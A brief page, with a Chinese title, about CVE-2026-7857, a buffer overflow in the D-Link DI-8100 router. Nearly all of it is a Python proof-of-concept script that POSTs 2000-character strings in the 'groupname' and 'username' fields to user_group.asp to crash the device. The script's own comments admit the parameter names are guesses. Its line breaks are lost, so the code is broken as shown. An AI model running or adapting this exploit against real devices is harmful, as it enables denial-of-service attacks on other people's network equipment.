CVE-2026-7857 D-Link DI-8100 缓冲区溢出漏洞

import requests def exploit_poc(target_ip): # Target endpoint based on vulnerability description url = f"http://{target_ip}/user_group.asp" # Constructing a payload to trigger the buffer overflow in sprintf # The specific length depends on the buffer size, using a large padding here payload = "A" * 2000 # Payload parameters (adjust based on actual parameter names in the form) data = { "groupname": payload, "username": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) # Check if the service hangs or returns an error indicating a crash if response.status_code != 200 or "Internal Server Error" in response.text: print("[+] Potential trigger of buffer overflow detected.") else: print("[-] Request sent, but status unclear. Verify device state.") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[!] This might indicate the service has crashed (DoS).") if __name__ == "__main__": # Replace with the actual target IP address target = "192.168.0.1" exploit_poc(target)